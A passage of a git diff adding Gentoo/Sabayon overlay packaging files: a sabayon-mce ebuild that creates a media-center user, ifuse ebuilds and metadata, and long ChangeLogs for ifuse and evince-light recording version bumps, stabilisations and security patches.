index 00000000..885bdad8
--- /dev/null
+++ b/app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild
@@ -0,0 +1,56 @@
+# Copyright 2004-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+inherit eutils
+
+DESCRIPTION="Sabayon Linux Media Center Infrastructure"
+HOMEPAGE="http://www.sabayon.org/"
+SRC_URI=""
+
+RESTRICT="nomirror"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE=""
+
+RDEPEND="media-tv/xbmc
+	>=app-misc/rogentoslive-tools-1.0"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_unpack() {
+	cp "${FILESDIR}"/${PV}/* "${WORKDIR}"/ -Rp || die "cannot unpack"
+}
+
+src_install () {
+
+	cd "${WORKDIR}"/init.d
+	newinitd sabayon-mce sabayon-mce
+
+	cd "${WORKDIR}"/bin
+	exeinto /usr/bin
+	doexe *
+
+	cd "${WORKDIR}"/xsession
+	dodir /usr/share/xsessions
+	insinto /usr/share/xsessions
+	doins *.desktop
+
+}
+
+pkg_postinst() {
+	# create new user sabayonmce
+	local mygroups="users"
+	for mygroup in lp wheel uucp audio cdrom scanner video cdrw usb plugdev polkituser; do
+		if [[ -n $(egetent group "${mygroup}") ]]; then
+        		mygroups+=",${mygroup}"
+		fi
+	done
+	enewuser sabayonmce -1 /bin/sh /var/sabayonmce "${mygroups}"
+
+	elog "For those who are using <=Sabayon-5.1 as Media Center:"
+	elog "PLEASE update DISPLAYMANAGER= in /etc/conf.d/xdm"
+	elog "setting it to gdm or kdm."
+
+}
diff --git a/app-pda/ifuse/ChangeLog b/app-pda/ifuse/ChangeLog
new file mode 100644
index 00000000..f99c8833
--- /dev/null
+++ b/app-pda/ifuse/ChangeLog
@@ -0,0 +1,54 @@
+# ChangeLog for app-pda/ifuse
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/app-pda/ifuse/ChangeLog,v 1.12 2013/05/11 22:05:54 ssuominen Exp $
+
+  11 May 2013; Samuli Suominen <ssuominen@gentoo.org> ifuse-1.1.2.ebuild:
+  Use subslot operator for the libplist and libimobiledevice dependencies.
+
+  16 Aug 2012; Johannes Huber <johu@gentoo.org> ifuse-1.1.2.ebuild:
+  Stable for x86, wrt bug #423155
+
+  11 Aug 2012; Agostino Sarubbo <ago@gentoo.org> ifuse-1.1.2.ebuild:
+  Stable for amd64, wrt bug #423155
+
+  16 May 2012; Samuli Suominen <ssuominen@gentoo.org>
+  -files/ifuse-1.0.0-asneeded.patch, -ifuse-1.1.1.ebuild:
+  old
+
+*ifuse-1.1.2 (16 May 2012)
+
+  16 May 2012; Samuli Suominen <ssuominen@gentoo.org> +ifuse-1.1.2.ebuild:
+  Version bump.
+
+  03 May 2012; Jeff Horelick <jdhore@gentoo.org> ifuse-1.1.1.ebuild:
+  dev-util/pkgconfig -> virtual/pkgconfig
+
+*ifuse-1.1.1 (29 Mar 2011)
+
+  29 Mar 2011; Samuli Suominen <ssuominen@gentoo.org> +ifuse-1.1.1.ebuild:
+  Version bump.
+
+  06 Jun 2010; Kacper Kowalik <xarthisius@gentoo.org> ifuse-1.0.0.ebuild,
+  +files/ifuse-1.0.0-asneeded.patch:
+  Fixing build with --as-needed wrt bug 322667. Thanks Diego for the report.
+  Removing Chainsaw from metadata (bug 322667)
+
+  31 May 2010; Thilo Bangert <bangert@gentoo.org> -ifuse-0.9.1.ebuild,
+  -ifuse-0.9.5.ebuild:
+  remove old versions
+
+*ifuse-1.0.0 (28 May 2010)
+
+  28 May 2010; Thilo Bangert <bangert@gentoo.org> +ifuse-1.0.0.ebuild:
+  version bump (#311089)
+
+*ifuse-0.9.5 (14 Dec 2009)
+
+  14 Dec 2009; <chainsaw@gentoo.org> +ifuse-0.9.5.ebuild:
+  Version bump.
+
+*ifuse-0.9.1 (08 Jun 2009)
+
+  08 Jun 2009; <chainsaw@gentoo.org> +ifuse-0.9.1.ebuild, +metadata.xml:
+  Initial commit, ebuild by me. Closes bug #241174.
+
diff --git a/app-pda/ifuse/Manifest b/app-pda/ifuse/Manifest
new file mode 100644
index 00000000..46643b31
--- /dev/null
+++ b/app-pda/ifuse/Manifest
@@ -0,0 +1 @@
+DIST ifuse-1.1.2.tar.bz2 84645 SHA256 47835c8afb72588b3202fe0b206d7ea37a68663d9aa4eaf73f0a4bcb6215fc05 SHA512 eb2d2340265d9d51ba44b0f24665a648fe4c07dc379563f517b1e1994ff513cabc72a61d77cf13bcf24771ace3716aef55fa40db3c0045539a5b8bc3e6b487ae WHIRLPOOL eda8b8fff0e28688b4adb4b5457f1b1c590b0e16b6fd94470e507609193170441c60c3abf3518ae178023c3ba5393b3c185170f773bbf9b0dc2e6f937c3fe1c5
diff --git a/app-pda/ifuse/ifuse-1.1.2.ebuild b/app-pda/ifuse/ifuse-1.1.2.ebuild
new file mode 100644
index 00000000..4ba1ab60
--- /dev/null
+++ b/app-pda/ifuse/ifuse-1.1.2.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-pda/ifuse/ifuse-1.1.2.ebuild,v 1.4 2013/05/11 22:05:54 ssuominen Exp $
+
+EAPI=5
+
+DESCRIPTION="Mount Apple iPhone/iPod Touch file systems for backup purposes"
+HOMEPAGE="http://www.libimobiledevice.org/"
+SRC_URI="http://www.libimobiledevice.org/downloads/${P}.tar.bz2"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+RDEPEND=">=app-pda/libimobiledevice-1.1.4:=
+	>=app-pda/libplist-1.8:=
+	>=sys-fs/fuse-2.7.0"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig"
+
+DOCS="AUTHORS NEWS README"
+
+pkg_postinst() {
+	ewarn "Only use this filesystem driver to create backups of your data."
+	ewarn "The music database is hashed, and attempting to add files will "
+	ewarn "cause the iPod/iPhone to consider your database unauthorised."
+	ewarn "It will respond by wiping all media files, requiring a restore "
+	ewarn "through iTunes. You have been warned."
+}
diff --git a/app-pda/ifuse/ifuse-9999.ebuild b/app-pda/ifuse/ifuse-9999.ebuild
new file mode 100644
index 00000000..cf0d8abb
--- /dev/null
+++ b/app-pda/ifuse/ifuse-9999.ebuild
@@ -0,0 +1,32 @@
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="1"
+
+inherit git-2 autotools
+
+DESCRIPTION="fuse module for access to iphone and ipod touch without jailbreak"
+HOMEPAGE="http://matt.colyer.name/projects/iphone-linux/"
+EGIT_REPO_URI="http://github.com/mcolyer/ifuse.git"
+EGIT_PROJECT="ifuse"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+DEPEND="app-pda/libimobiledevice
+	>=sys-fs/fuse-2.7.0
+	dev-libs/glib:2"
+RDEPEND="${DEPEND}"
+
+src_unpack() {
+	git_src_unpack
+	cd "${S}"
+	./autogen.sh
+	eautoreconf
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "install failed"
+}
diff --git a/app-pda/ifuse/metadata.xml b/app-pda/ifuse/metadata.xml
new file mode 100644
index 00000000..413973e1
--- /dev/null
+++ b/app-pda/ifuse/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>pda</herd>
+</pkgmetadata>
+
diff --git a/app-text/evince-light/ChangeLog b/app-text/evince-light/ChangeLog
new file mode 100644
index 00000000..6551d6e8
--- /dev/null
+++ b/app-text/evince-light/ChangeLog
@@ -0,0 +1,1046 @@
+# ChangeLog for app-text/evince
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/app-text/evince/ChangeLog,v 1.250 2012/08/23 16:01:12 tetromino Exp $
+
+  23 Aug 2012; Alexandre Rostovtsev <tetromino@gentoo.org>
+  evince-2.32.0-r3.ebuild, evince-2.32.0-r4.ebuild, evince-3.2.1-r1.ebuild,
+  evince-3.4.0.ebuild:
+  gtk-doc-am dependency is not needed, m4/gtk-doc.m4 is in the tarball. Thanks
+  to Gilles Dartiguelongue for noticing.
+
+  15 Jul 2012; Raúl Porcel <armin76@gentoo.org> evince-2.32.0-r4.ebuild:
+  alpha/ia64/sparc stable wrt #410611
+
+  16 Jun 2012; Samuli Suominen <ssuominen@gentoo.org> evince-2.32.0-r3.ebuild,
+  evince-2.32.0-r4.ebuild, evince-3.2.1-r1.ebuild, evince-3.4.0.ebuild,
+  metadata.xml:
+  Use global USE flag "postscript" instead of local USE flag "ps" for
+  PostScript support
+
+  08 Jun 2012; Pacho Ramos <pacho@gentoo.org> -evince-3.2.1.ebuild,
+  metadata.xml:
+  Drop maintainer from metadata as talked with him, bug #90641. Drop old.
+
+  24 May 2012; Samuli Suominen <ssuominen@gentoo.org> evince-2.32.0-r4.ebuild:
+  ppc stable wrt #410611
+
+  10 May 2012; Alexandre Rostovtsev <tetromino@gentoo.org>
+  evince-2.32.0-r3.ebuild, evince-2.32.0-r4.ebuild, evince-3.2.1.ebuild,
+  evince-3.2.1-r1.ebuild, evince-3.4.0.ebuild, metadata.xml:
+  Add "ps" USE flag (enabled by default) to allow disabling PostScript support
+  (bug #414973, thanks to nzqr).
+
+*evince-3.4.0 (05 May 2012)
+
+  05 May 2012; Alexandre Rostovtsev <tetromino@gentoo.org>
+  +evince-3.4.0.ebuild, +files/evince-3.4.0-glib-gold.patch:
+  Version bump with small bugfixes and UI improvements.
+
+  04 May 2012; Jeff Horelick <jdhore@gentoo.org> evince-2.32.0-r3.ebuild,
+  evince-2.32.0-r4.ebuild, evince-3.2.1.ebuild, evince-3.2.1-r1.ebuild:
+  dev-util/pkgconfig -> virtual/pkgconfig
+
+  30 Apr 2012; Justin Lecher <jlec@gentoo.org> evince-3.2.1-r1.ebuild,
+  +files/evince-3.2.1-glib-gold.patch:
+  Add fix for problems with glib-2.32 and gold linker, #414065
+
+  29 Apr 2012; Markus Meier <maekke@gentoo.org> evince-2.32.0-r4.ebuild:
+  x86 stable, bug #410611
+
+  25 Apr 2012; Markus Meier <maekke@gentoo.org> evince-2.32.0-r4.ebuild:
+  arm stable, bug #410611
+
+  19 Apr 2012; Brent Baude <ranger@gentoo.org> evince-2.32.0-r4.ebuild:
+  Marking evince-2.32.0-r4 ppc64 stable for bug 410611
+
+  18 Apr 2012; Agostino Sarubbo <ago@gentoo.org> evince-2.32.0-r4.ebuild:
+  Stable for amd64, wrt bug #410611
+
+  30 Jan 2012; Pacho Ramos <pacho@gentoo.org> evince-2.32.0-r4.ebuild:
+  Stop allowing to build gtk-doc files as they are useless for evince as
+  discussed in bug #398435 (by Nick Bowler). Thanks to Alexandre Rostovtsev for
+  looking to the issue.
+
+*evince-2.32.0-r4 (17 Dec 2011)
+
+  17 Dec 2011; Pacho Ramos <pacho@gentoo.org> +evince-2.32.0-r4.ebuild,
+  +files/evince-2.32.0-create_thumbnail_frame-null.patch,
+  +files/evince-2.32.0-desktop-categories.patch, -evince-2.32.0-r2.ebuild:
+  Fix menu categories, bug #393585 by Sergey S. Starikoff; apply another patch
+  from 2.32 branch to fix another crash. Remove old.
+
+  04 Dec 2011; Alexandre Rostovtsev <tetromino@gentoo.org> evince-3.2.1.ebuild,
+  evince-3.2.1-r1.ebuild:
+  evince-3.x uses docbook-xml-dtd:4.3, not 4.1.2 (bug #392263, thanks to
+  markus.heuberger@gmx.net for reporting).
+
+  26 Nov 2011; Alexandre Rostovtsev <tetromino@gentoo.org> evince-3.2.1.ebuild,
+  evince-3.2.1-r1.ebuild:
+  Fix the gnome-icon-theme configure sed (bug #391859, thanks to Florian Faber
+  <faber@faberman.de> for reporting).
+
+*evince-3.2.1-r1 (23 Nov 2011)
+
+  23 Nov 2011; Alexandre Rostovtsev <tetromino@gentoo.org>
+  +evince-3.2.1-r1.ebuild, +files/evince-3.2.1-libgxps-0.2.patch:
+  Add patches to fix libgxps-0.2 and texlive-2011 support.
+
+  16 Nov 2011; Justin Lecher <jlec@gentoo.org> evince-2.32.0-r2.ebuild,
+  evince-2.32.0-r3.ebuild, evince-3.2.1.ebuild:
+  Corrected Slotting of media-libs/tiff
+
+  15 Nov 2011; Alexandre Rostovtsev <tetromino@gentoo.org>
+  evince-2.32.0-r2.ebuild, evince-2.32.0-r3.ebuild:
+  QA: eautoreconf should be before gnome2_src_prepare.
+
+*evince-3.2.1 (03 Nov 2011)
+
+  03 Nov 2011; Alexandre Rostovtsev <tetromino@gentoo.org>
+  -files/evince-2.91.5-fix-evinceview-introspection.patch,
+  -evince-3.0.2.ebuild, +evince-3.2.1.ebuild, metadata.xml:
+  Bump to 3.2.1 from the gnome overlay. Drop old. Add several missing
+  dependencies. Notable changes: UI fixes, stability improvements, XPS support.
+
+  17 Oct 2011; Justin Lecher <jlec@gentoo.org> +files/evince-2.32.0-gold.patch,
+  metadata.xml, evince-2.32.0-r3.ebuild:
+  Fix linking with gold.ld
+
+  05 Oct 2011; Kacper Kowalik <xarthisius@gentoo.org> evince-2.32.0-r3.ebuild:
+  ppc/ppc64 stable wrt #369909
+
+*evince-3.0.2 (16 Aug 2011)
+
+  16 Aug 2011; Nirbheek Chauhan <nirbheek@gentoo.org>
+  +files/evince-2.91.5-fix-evinceview-introspection.patch,
+  +evince-3.0.2.ebuild:
+  Bump to 3.0.2, from gnome overlay for GNOME 3
+
+  13 Aug 2011; Raúl Porcel <armin76@gentoo.org> evince-2.32.0-r3.ebuild:
+  alpha/ia64/sparc stable wrt #369909
+
+  17 Jul 2011; Markus Meier <maekke@gentoo.org> evince-2.32.0-r3.ebuild:
+  arm stable, bug #369909
+
+  14 Jul 2011; Thomas Kahle <tomka@gentoo.org> evince-2.32.0-r3.ebuild:
+  x86 stable per bug 369909
+
+  01 Jul 2011; Markos Chandras <hwoarang@gentoo.org> evince-2.32.0-r3.ebuild:
+  Stable on amd64 wrt bug #278255
+
+  12 Jun 2011; Pacho Ramos <pacho@gentoo.org> -evince-2.32.0-r1.ebuild,
+  evince-2.32.0-r3.ebuild:
+  Fix gconf-2.m4 missing again (bug #371272 by Francesco Turco). Remove old.
+
+  26 Apr 2011; Kacper Kowalik <xarthisius@gentoo.org> evince-2.32.0-r2.ebuild:
+  ppc64 stable wrt #363447
+
+  23 Apr 2011; Raúl Porcel <armin76@gentoo.org> evince-2.32.0-r2.ebuild:
+  alpha/arm/ia64/sparc stable wrt #363447
+
+*evince-2.32.0-r3 (21 Apr 2011)
+
+  21 Apr 2011; Pacho Ramos <pacho@gentoo.org> +evince-2.32.0-r3.ebuild,
+  +files/evince-2.32.0-stop-spinner.patch,
+  +files/evince-2.32.0-use-popup.patch:
+  Revision bump to include upstream patches reported by Arthur Taylor fixing
+  random minimizing (bug #364311) and useless wakeups (bug #364313) problems.
+
+  16 Apr 2011; Pacho Ramos <pacho@gentoo.org> evince-2.32.0-r2.ebuild:
+  gconf-2.m4 is needed for autoconf, bug #363781 by Jimmy C. Chau.
+
+  15 Apr 2011; Christoph Mende <angelos@gentoo.org> evince-2.32.0-r2.ebuild:
+  Stable on amd64 wrt bug #363447
+
+  15 Apr 2011; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  evince-2.32.0-r2.ebuild:
+  x86 stable wrt security bug #363447
+
+  13 Apr 2011; Brent Baude <ranger@gentoo.org> evince-2.32.0-r2.ebuild:
+  Marking evince-2.32.0-r2 ppc for bug 363447
+
+*evince-2.32.0-r2 (13 Apr 2011)
+
+  13 Apr 2011; Pacho Ramos <pacho@gentoo.org> +evince-2.32.0-r2.ebuild,
+  +files/evince-2.32.0-dvi-security.patch,
+  +files/evince-2.32.0-libview-crash.patch,
+  +files/evince-2.32.0-update-poppler.patch:
+  Fix libview crash, upstream bug #630999; fix another security issue in the
+  dvi-backend; update poppler api with Arch patch (bug #354709 by Justin
+  Lecher, Ian Abbott and Rafał Mużyło).
+
+  09 Apr 2011; Gilles Dartiguelongue <eva@gentoo.org> -evince-2.30.3.ebuild,
+  -evince-2.32.0.ebuild:
+  Clean up old revisions.
+
+  22 Mar 2011; Brent Baude <ranger@gentoo.org> evince-2.32.0-r1.ebuild:
+  Marking evince-2.32.0-r1 ppc stable for bug 353436
+
+  21 Mar 2011; Kacper Kowalik <xarthisius@gentoo.org> evince-2.32.0-r1.ebuild:
+  ppc64 stable wrt #353436
+
+  16 Mar 2011; Nirbheek Chauhan <nirbheek@gentoo.org> evince-2.30.3.ebuild,
+  evince-2.32.0.ebuild, evince-2.32.0-r1.ebuild:
+  Fix slot-deps on gtk+ and other libs
+
+  12 Mar 2011; Raúl Porcel <armin76@gentoo.org> evince-2.32.0-r1.ebuild:
+  alpha/arm/ia64/sparc stable wrt #353436
+
+  24 Feb 2011; Thomas Kahle <tomka@gentoo.org> evince-2.32.0-r1.ebuild:
+  x86 stable per bug 353436
+
+  23 Feb 2011; Markos Chandras <hwoarang@gentoo.org> evince-2.32.0-r1.ebuild:
+  Stable on amd64 wrt bug #353436
+
+  14 Feb 2011; Pacho Ramos <pacho@gentoo.org> evince-2.32.0.ebuild:
+  Add gnome-base/gsettings-desktop-schemas to RDEPEND as asked by Nirbheek.
+
+*evince-2.32.0-r1 (18 Jan 2011)
+
+  18 Jan 2011; Pacho Ramos <pacho@gentoo.org> -evince-2.26.2.ebuild,
+  -files/evince-2.27.4-smclient-configure.patch, -evince-2.28.2.ebuild,
+  +evince-2.32.0-r1.ebuild, +files/evince-2.32.0-dvi-CVEs.patch,
+  +files/evince-2.32.0-libdocument-segfault.patch,
+  +files/evince-2.32.0-pk-fonts.patch:
+  Revision bump including upstream patches for fixing security bugs in dvi
+  backend, libdocument segfaults and problem with pk fonts after applying
+  security patch. Remove old.
+
+  07 Dec 2010; Gilles Dartiguelongue <eva@gentoo.org> evince-2.32.0.ebuild:
+  Re-drop hppa keyword, thanks to Mr_Bones for reminding.
+
+*evince-2.32.0 (17 Oct 2010)
+
+  17 Oct 2010; Pacho Ramos <pacho@gentoo.org> +evince-2.32.0.ebuild:
+  Version bump for Gnome 2.32: Make Shrink to Printable Area default option
+  for Page Scaling, preliminary support for adding new annotations, add
+  confirmation dialog on closing window when document has been modified, add
+  an action to edit menu to save current settings as default, add a new
+  sidebar page to show the list of annotations, finish DBus API for synctex
+  support, use cairo to draw search results, other bugfixes and translation
+  updates.
+
+  17 Oct 2010; Raúl Porcel <armin76@gentoo.org> evince-2.30.3.ebuild:
+  alpha/ia64/sparc stable wrt #324077
+
+  14 Oct 2010; Markus Meier <maekke@gentoo.org> evince-2.30.3.ebuild:
+  arm stable, bug #324077
+
+  09 Oct 2010; Samuli Suominen <ssuominen@gentoo.org> evince-2.30.3.ebuild:
+  ppc64 stable wrt #324077
+
+  15 Sep 2010; Gilles Dartiguelongue <eva@gentoo.org> evince-2.30.3.ebuild:
+  Make hicolor-icon-theme an alternative to gnome-icon-theme, bug #326855.
+  Drop libtool-1 compat.
+
+  11 Sep 2010; Joseph Jezak <josejx@gentoo.org> evince-2.30.3.ebuild:
+  Marked ppc for bug #324077.
+
+  19 Aug 2010; Gilles Dartiguelongue <eva@gentoo.org> evince-2.30.3.ebuild:
+  Raise gtk-doc dependency according to configure.
+
+  18 Aug 2010; Markus Meier <maekke@gentoo.org> evince-2.28.2.ebuild:
+  arm stable, bug #314899
+
+  14 Aug 2010; Raúl Porcel <armin76@gentoo.org> evince-2.28.2.ebuild:
+  alpha/ia64/sparc stable wrt #314899
+
+  01 Aug 2010; Christian Faulhammer <fauli@gentoo.org> evince-2.30.3.ebuild:
+  x86 stable, bug 324077
+
+  31 Jul 2010; Pacho Ramos <pacho@gentoo.org> evince-2.30.3.ebuild:
+  amd64 stable, bug 324077
+
+  20 Jul 2010; Jeroen Roovers <jer@gentoo.org> evince-2.26.2.ebuild,
+  evince-2.28.2.ebuild, evince-2.30.3.ebuild:
+  Drop HPPA keywording (bug #324511).
+
+*evince-2.30.3 (03 Jul 2010)
+
+  03 Jul 2010; Pacho Ramos <pacho@gentoo.org> -evince-2.30.2.ebuild,
+  +evince-2.30.3.ebuild:
+  Version bump: Fix cbz comics (bug #326515 by Dirk Best). Remove old
+  testing.
+
+*evince-2.30.2 (23 Jun 2010)
+
+  23 Jun 2010; Pacho Ramos <pacho@gentoo.org> -evince-2.30.1-r1.ebuild,
+  +evince-2.30.2.ebuild:
+  Version bump with updated translations and fixes, remove old.
+
+*evince-2.30.1-r1 (13 Jun 2010)
+
+  13 Jun 2010; Pacho Ramos <pacho@gentoo.org> +evince-2.30.1-r1.ebuild:
+  Add new version for Gnome 2.30.
+
+  04 Jun 2010; Markus Meier <maekke@gentoo.org> evince-2.28.2.ebuild:
+  x86 stable, bug #314899
+
+  22 May 2010; Raúl Porcel <armin76@gentoo.org> evince-2.28.2.ebuild:
+  Add ~arm
+
+  03 May 2010; Olivier Crête <tester@gentoo.org> evince-2.28.2.ebuild:
+  amd64 stable, bug #314899
+
+  24 Feb 2010; Gilles Dartiguelongue <eva@gentoo.org> -evince-2.24.2.ebuild,
+  -evince-2.28.1.ebuild:
+  Clean up old revisions.
+
+  10 Feb 2010; Samuli Suominen <ssuominen@gentoo.org> evince-2.24.2.ebuild,
+  evince-2.26.2.ebuild, evince-2.28.1.ebuild, evince-2.28.2.ebuild:
+  Update poppler dependency for #304349
+
+  17 Jan 2010; Jeroen Roovers <jer@gentoo.org> evince-2.26.2.ebuild:
+  Stable for HPPA (bug #281427).
+
+  15 Jan 2010; Jonathan Callen <abcd@gentoo.org> evince-2.28.2.ebuild:
+  Add prefix keywords
+
+*evince-2.28.2 (18 Dec 2009)
+
+  18 Dec 2009; Gilles Dartiguelongue <eva@gentoo.org> +evince-2.28.2.ebuild:
+  Version bump. Rendering fixes, documentation and translation updates.
+
+  03 Dec 2009; Brent Baude <ranger@gentoo.org> evince-2.26.2.ebuild:
+  Marking evince-2.26.2 ppc64 stable for bug 281427
+
+  28 Nov 2009; Raúl Porcel <armin76@gentoo.org> evince-2.26.2.ebuild:
+  alpha/ia64/sparc stable wrt #281427
+
+  01 Nov 2009; Nirbheek Chauhan <nirbheek@gentoo.org> +files/gconf-2.m4:
+  Fix bug 291339 -- need gconf-2.m4 for autoconf
+
+  29 Oct 2009; Gilles Dartiguelongue <eva@gentoo.org> -evince-2.26.1.ebuild,
+  +files/evince-2.27.4-smclient-configure.patch, +evince-2.28.1.ebuild,
+  metadata.xml:
+  New version for GNOME 2.28. Clean up old revision.
+
+*evince-2.28.1 (29 Oct 2009)
+
+  29 Oct 2009; Gilles Dartiguelongue <eva@gentoo.org> -evince-2.26.1.ebuild,
+  +files/evince-2.27.4-smclient-configure.patch, +evince-2.28.1.ebuild,
+  metadata.xml:
+  New version for GNOME 2.28. Clean up old revision.
+
+  24 Oct 2009; nixnut <nixnut@gentoo.org> evince-2.26.2.ebuild:
+  ppc stable #281427
+
+  16 Oct 2009; Markus Meier <maekke@gentoo.org> evince-2.26.2.ebuild:
+  x86 stable, bug #281427
+
+  08 Oct 2009; Mart Raudsepp <leio@gentoo.org> Manifest:
+  Fix Manifest
+
+  08 Oct 2009; Olivier Crête <tester@gentoo.org> evince-2.26.2.ebuild:
+  Stable on amd64, bug #281427
+
+*evince-2.26.2 (18 May 2009)
+
+  18 May 2009; Gilles Dartiguelongue <eva@gentoo.org> evince-2.24.2.ebuild,
+  +evince-2.26.2.ebuild:
+  Bump to 2.26.2. Bug fixes and translation updates.
+
+*evince-2.26.1 (02 May 2009)
+
+  02 May 2009; Gilles Dartiguelongue <eva@gentoo.org>
+  -files/evince-0.6.1-dbus-switch.patch,
+  -files/evince-2.22.2-t1lib-fonts.patch, -evince-2.22.2-r1.ebuild,
+  +evince-2.26.1.ebuild:
+  New version for GNOME 2.26. Load of small improvments here and there.
+  Clean up old revisions.
+
+  27 Apr 2009; Jeroen Roovers <jer@gentoo.org> evince-2.24.2:
+  Stable for HPPA (bug #260063).
+
+  12 Apr 2009; Friedrich Oslage <bluebird@gentoo.org> evince-2.24.2.ebuild:
+  Stable on sparc, bug #260063
+
+  10 Apr 2009; Peter Alfredsen <loki_val@gentoo.org>
+  evince-2.22.2-r1.ebuild:
+  Updating app-text/evince for virtual/poppler-glib update; cairo is the
+  superior backend, always enable it anywhere it can be used.
+
+  30 Mar 2009; Peter Alfredsen <loki_val@gentoo.org> -evince-2.20.1.ebuild,
+  evince-2.22.2-r1.ebuild, evince-2.24.2.ebuild:
+  Update dependencies w.r.t. bug 264230, fully-split-out poppler transition.
+  Also punt evince-2.20.1, since no version of poppler in-tree meets the
+  requirements of <app-text/poppler-bindings-0.8.
+
+  18 Mar 2009; Raúl Porcel <armin76@gentoo.org> evince-2.24.2.ebuild:
+  alpha/ia64 stable wrt #260063
+
+  15 Mar 2009; Markus Meier <maekke@gentoo.org> evince-2.24.2.ebuild:
+  x86 stable, bug #260063
+
+  12 Mar 2009; Daniel Gryniewicz <dang@gentoo.org> evince-2.24.2.ebuild:
+  poppler-bindings needs cairo too; bug #262111
+
+  11 Mar 2009; Daniel Gryniewicz <dang@gentoo.org> evince-2.24.2.ebuild:
+  Marked stable on amd64
+
+  07 Mar 2009; Thomas Anderson <gentoofan23@gentoo.org>
+  evince-2.20.1.ebuild, evince-2.22.2-r1.ebuild, evince-2.24.2.ebuild:
+  Transition to eapi 2 use deps
+
+  06 Mar 2009; Brent Baude <ranger@gentoo.org> evince-2.24.2.ebuild:
+  Marking evince-2.24.2 ppc stable for bug 260063
+
+  05 Mar 2009; Brent Baude <ranger@gentoo.org> evince-2.24.2.ebuild:
+  Marking evince-2.24.2 ppc64 stable for bug 260063
+
+  05 Mar 2009; Gilles Dartiguelongue <eva@gentoo.org> -evince-2.20.2.ebuild,
+  -evince-2.24.0.ebuild, -evince-2.24.1.ebuild:
+  Clean up old revisions.
+
+*evince-2.24.2 (24 Nov 2008)
+
+  24 Nov 2008; Gilles Dartiguelongue <eva@gentoo.org> +evince-2.24.2.ebuild:
+  Bump to 2.24.2. Bug fixes and translation updates.
+
+*evince-2.24.1 (20 Nov 2008)
+
+  20 Nov 2008; Gilles Dartiguelongue <eva@gentoo.org> +evince-2.24.1.ebuild:
+  Bump to 2.24.1. Bug fixes and translation updates.
+
+  13 Nov 2008; Brent Baude <ranger@gentoo.org> evince-2.22.2-r1.ebuild:
+  Marking evince-2.22.2-r1 ppc64 stable for bug 236971
+
+  06 Nov 2008; Jeremy Olexa <darkside@gentoo.org> evince-2.24.0.ebuild:
+  minor die message wording improvement for evince-2.24.0
+
+*evince-2.24.0 (11 Oct 2008)
+
+  11 Oct 2008; Gilles Dartiguelongue <eva@gentoo.org> metadata.xml,
+  evince-2.22.2-r1.ebuild, +evince-2.24.0.ebuild:
+  New version for GNOME 2.24. Use multimedia keys, better session integration
+  and usual lot of bug fixes. Fix repoman warnings.
+
+  25 Sep 2008; Jeroen Roovers <jer@gentoo.org> evince-2.22.2-r1.ebuild:
+  Stable for HPPA (bug #236971).
+
+  04 Sep 2008; Christian Faulhammer <opfer@gentoo.org> evince-2.20.1.ebuild,
+  evince-2.20.2.ebuild:
+  change dependency from virtual/tetex to virtual/tex-base
+
+  12 Aug 2008; Mart Raudsepp <leio@gentoo.org> evince-2.20.1.ebuild,
+  -evince-2.22.0.ebuild, -evince-2.22.1.1.ebuild, evince-2.22.2-r1.ebuild:
+  Remove old. Remove unnecessary autotools inherit on latest
+
+  12 Aug 2008; Raúl Porcel <armin76@gentoo.org> evince-2.22.2-r1.ebuild:
+  alpha/ia64/sparc stable wrt #229709
+
+  10 Aug 2008; Markus Meier <maekke@gentoo.org> evince-2.22.2-r1.ebuild:
+  x86 stable, bug #229709
+
+  02 Aug 2008; Ulrich Mueller <ulm@gentoo.org> metadata.xml:
+  Add USE flag description to metadata wrt GLEP 56.
+
+  30 Jul 2008; Brent Baude <ranger@gentoo.org> evince-2.22.2-r1.ebuild:
+  Marking evince-2.22.2-r1 ppc stable for bug 229709
+
+  26 Jul 2008; Olivier Crête <tester@gentoo.org> evince-2.22.2-r1.ebuild:
+  Stable on amd64, bug #229709
+
+*evince-2.22.2-r1 (07 Jul 2008)
+
+  07 Jul 2008; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-2.22.2-t1lib-fonts.patch, -evince-2.22.2.ebuild,
+  +evince-2.22.2-r1.ebuild:
+  Bump to 2.22.2-r1
+
+  - Fix horrible font rendering of dvi files with t1lib. Bug #158172
+
+  06 Jul 2008; Peter Alfredsen <loki_val@gentoo.org> evince-2.20.1.ebuild,
+  evince-2.20.2.ebuild:
+  Adjust deps wrt bug #230944
+
+  01 Jul 2008; Gilles Dartiguelongue <eva@gentoo.org> evince-2.20.1.ebuild,
+  evince-2.20.2.ebuild, evince-2.22.0.ebuild, evince-2.22.1.1.ebuild,
+  evince-2.22.2.ebuild:
+  add docbook-xml-dtd-4.1.2 to DEPEND, fix bug #229077.
+
+*evince-2.22.2 (29 May 2008)
+
+  29 May 2008; Daniel Gryniewicz <dang@gentoo.org> +evince-2.22.2.ebuild:
+  Bump to 2.22.2
+
+  * Fixes warning with gtk-2.10 (Matthias Drochner)
+
+  * Fixes crash in impress backend (Hans Petter Jansson)
+
+  * Handle multipage tiff properly (Carlos Garcia Campos)
+
+  05 May 2008; Daniel Gryniewicz <dang@gentoo.org> evince-2.22.1.1.ebuild:
+  Use virtual/tex-base rather than virtual/tetex; bug #219322
+
+  21 Apr 2008; <welp@gentoo.org> evince-2.22.0.ebuild,
+  evince-2.22.1.1.ebuild:
+  keyring to gnome-keyring
+
